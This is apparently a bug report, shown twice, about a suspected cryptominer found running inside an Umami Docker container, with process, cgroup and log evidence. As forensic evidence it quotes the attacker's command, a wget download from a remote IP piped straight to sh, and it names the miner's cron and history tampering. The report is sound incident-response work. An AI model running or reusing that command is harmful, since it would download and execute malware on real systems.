Describe the Bug
Possible Remote Code Execution Inside Umami Container
Summary
I observed unexpected process execution inside a Docker container running Umami.
A suspicious executable named javae was launched from /tmp/.ICEi-unix/, consuming nearly 100% CPU. Further investigation revealed that a shell command downloaded and executed a remote script using wget | sh.
At this stage I cannot determine whether the root cause is:
- An Umami vulnerability
- A dependency vulnerability
- A compromised application account
- Another service compromising the container
However, I wanted to report the findings because the behavior appears highly suspicious and may be security-related.
Environment
Docker Image
ghcr.io/umami-software/umami:mysql-latest
Container
Container Name: umami
Container ID: e185b711042d
Runtime
Suspicious Process Tree
Observed process tree:
systemd
└─ containerd-shim
└─ node(3070)
└─ sh(174544)
└─ javae(314484)
The intermediate shell process appeared as:
which looks like a randomly generated script name.
Process information:
ps -fp 174544
UID PID PPID C STIME TTY TIME CMD
1001 174544 3070 1 ... sh j9ij0v
Suspicious Executable
Running process:
cat /proc/314484/cmdline
/tmp/.ICEi-unix/javae
Executable path:
ls -l /proc/314484/exe
lrwxrwxrwx 1 1001 65533 ... /proc/314484/exe -> /tmp/.ICEi-unix/javae
CPU usage was approximately 99%.
Example:
ps -ef | grep javae
1001 314484 174544 99 ? 00:11:55 /tmp/.ICEi-unix/javae
Container Association
The suspicious process belonged to the Umami container.
cat /proc/314484/cgroup
0::/system.slice/docker-e185b711042d22e63528efa46b09cd26ed0fc7644600ee1bf8ce4aad1c67507c.scope
cat /proc/3070/cgroup
0::/system.slice/docker-e185b711042d22e63528efa46b09cd26ed0fc7644600ee1bf8ce4aad1c67507c.scope
Matching container:
e185b711042d ghcr.io/umami-software/umami:mysql-latest umami
Most Important Finding
Container logs contain evidence of remote shell execution:
wget -q http://221.156.167.200:9090/js/grepb32.txt -O- | sh
This command appears to download and execute a shell script directly from a remote server.
Additional Artifacts Observed
The log output contains many operations commonly associated with malicious mining scripts:
Creation of Temporary Directories
mkdir: can't create directory '/tmp/.ICEi-unix'
This matches the location from which javae was executed.
Process Enumeration / Killing
kill: you need to specify whom to kill
netstat: showing only processes with your user ID
Cron Manipulation Attempts
crontab: must be suid to work properly
History Manipulation Attempts
chattr: setting flags on /home/nextjs/.bash_history
Cleanup Attempts
Numerous commands attempted to remove files and competing processes.
Container Configuration
The container runs as a non-root user:
Many malicious operations failed because of insufficient permissions, which may have limited the impact.
The container was configured with:
and was only exposed through localhost:
127.0.0.1:3000 -> 3000/tcp
Container State
At the time of investigation:
"Status": "exited",
"ExitCode": 137
The container was no longer running.
Questions
- Is there any known vulnerability that could allow arbitrary command execution inside an Umami container?
- Has similar behavior been reported by other users?
- Are there any known indicators of compromise associated with this image or recent releases?
- What additional logs or forensic artifacts would be useful for further investigation?
I can provide additional logs if needed.
Disclaimer
I have not yet determined the exact root cause of this incident.
The findings above only confirm that suspicious commands and processes were executed inside a container running Umami. At this time, I cannot determine whether:
- The execution originated from a vulnerability in Umami itself;
- The execution originated from a dependency or third-party component;
- The container was compromised through another service on the host;
- The issue has already been fixed in newer releases.
I also have not verified whether the latest release (v3.1.0 at the time of writing) is affected by the same behavior.
This report is intended to share forensic evidence and seek guidance from maintainers regarding possible causes and whether similar incidents have been observed by others.
Database
MySQL
Relevant log output
Which Umami version are you using?
2.19.0
How are you deploying your application?
Docker
Which browser are you using?
Edge
Describe the Bug
Possible Remote Code Execution Inside Umami Container
Summary
I observed unexpected process execution inside a Docker container running Umami.
A suspicious executable named
javaewas launched from/tmp/.ICEi-unix/, consuming nearly 100% CPU. Further investigation revealed that a shell command downloaded and executed a remote script usingwget | sh.At this stage I cannot determine whether the root cause is:
However, I wanted to report the findings because the behavior appears highly suspicious and may be security-related.
Environment
Docker Image
Container
Runtime
Suspicious Process Tree
Observed process tree:
The intermediate shell process appeared as:
which looks like a randomly generated script name.
Process information:
Suspicious Executable
Running process:
Executable path:
ls -l /proc/314484/exe lrwxrwxrwx 1 1001 65533 ... /proc/314484/exe -> /tmp/.ICEi-unix/javaeCPU usage was approximately 99%.
Example:
Container Association
The suspicious process belonged to the Umami container.
Matching container:
Most Important Finding
Container logs contain evidence of remote shell execution:
wget -q http://221.156.167.200:9090/js/grepb32.txt -O- | shThis command appears to download and execute a shell script directly from a remote server.
Additional Artifacts Observed
The log output contains many operations commonly associated with malicious mining scripts:
Creation of Temporary Directories
This matches the location from which
javaewas executed.Process Enumeration / Killing
Cron Manipulation Attempts
History Manipulation Attempts
Cleanup Attempts
Numerous commands attempted to remove files and competing processes.
Container Configuration
The container runs as a non-root user:
Many malicious operations failed because of insufficient permissions, which may have limited the impact.
The container was configured with:
and was only exposed through localhost:
Container State
At the time of investigation:
The container was no longer running.
Questions
I can provide additional logs if needed.
Disclaimer
I have not yet determined the exact root cause of this incident.
The findings above only confirm that suspicious commands and processes were executed inside a container running Umami. At this time, I cannot determine whether:
I also have not verified whether the latest release (v3.1.0 at the time of writing) is affected by the same behavior.
This report is intended to share forensic evidence and seek guidance from maintainers regarding possible causes and whether similar incidents have been observed by others.
Database
MySQL
Relevant log output
Which Umami version are you using?
2.19.0
How are you deploying your application?
Docker
Which browser are you using?
Edge